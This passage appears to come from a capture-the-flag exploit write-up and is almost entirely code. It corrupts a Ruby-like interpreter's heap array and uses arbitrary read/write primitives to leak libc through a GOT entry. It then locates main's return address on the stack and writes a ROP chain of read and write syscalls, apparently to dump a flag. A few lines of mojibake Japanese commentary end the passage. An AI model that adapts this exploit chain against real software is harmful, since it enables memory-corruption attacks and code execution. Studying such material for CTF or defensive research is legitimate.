+ 1] == 0 and $arr[i + 4] == 0x50 and $arr[i + 5] == 0x0 $arr[i + 4] = 0x90 $heap_arr_idx = i puts 'RArray offset = ' + $heap_arr_idx.to_s() $old_array_ptr_l = $arr[i + 8] $old_array_ptr_h = $arr[i + 9] break end i += 1 end i = 0 while i < $shui.length do if $shui[i].length == 0x90 $ooa_array = $shui[i] break end i += 1 end puts "arr addr = 0x" + $arr_addr.to_s(16) $ooa_array_addr = $ooa_array.__id__ * 2 puts "ooa_array_addr: 0x" + $ooa_array_addr.to_s(16) # LFA(RTypedObject)->type $lfa_type_addr = AARead($arr_addr + 0x10) # GOT of __cxa_finalize $libc_finalize_addr = AARead($lfa_type_addr + 0x238) $libc_base = $libc_finalize_addr - $CXA_FINALIZE $libc_argv = $libc_base + $LIBC_ARGV puts '__cxa_finalize: 0x' + $libc_finalize_addr.to_s(16) puts 'libc base: 0x' + $libc_base.to_s(16) puts 'libc_argv[addr]: 0x' + $libc_argv.to_s(16) # Stack address (main ret) $argv0_stack = AARead($libc_argv) $main_ret = $argv0_stack - 0xe0 puts 'main_ret: 0x' + $main_ret.to_s(16) # Do ROP pop_rax = $libc_base + 0x439c7 xor_rax = $libc_base + 0xb17c5 pop_rdi = $libc_base + 0x2155f pop_rsi = $libc_base + 0x2ffa7 pop_rdx_rbx = $libc_base + 0x16643b syscall_ret = $libc_base + 0xd2975 rop = [xor_rax, pop_rdi, 1023, pop_rsi, $main_ret, pop_rdx_rbx, 0x21, 0xdead, syscall_ret] # # read(1023, buf,0x20) rop += [pop_rax, 1, pop_rdi, 1, pop_rsi, $main_ret, pop_rdx_rbx, 0x21, 0xdead, syscall_ret] # write(1, buf,0x20) i = 0 while i < rop.length do AAWrite($main_ret + i * 8, rop[i]) i += 1 end #gets
ãããã«
æ¥ãã§æ¸ããã®ã§éãªèª¬æããã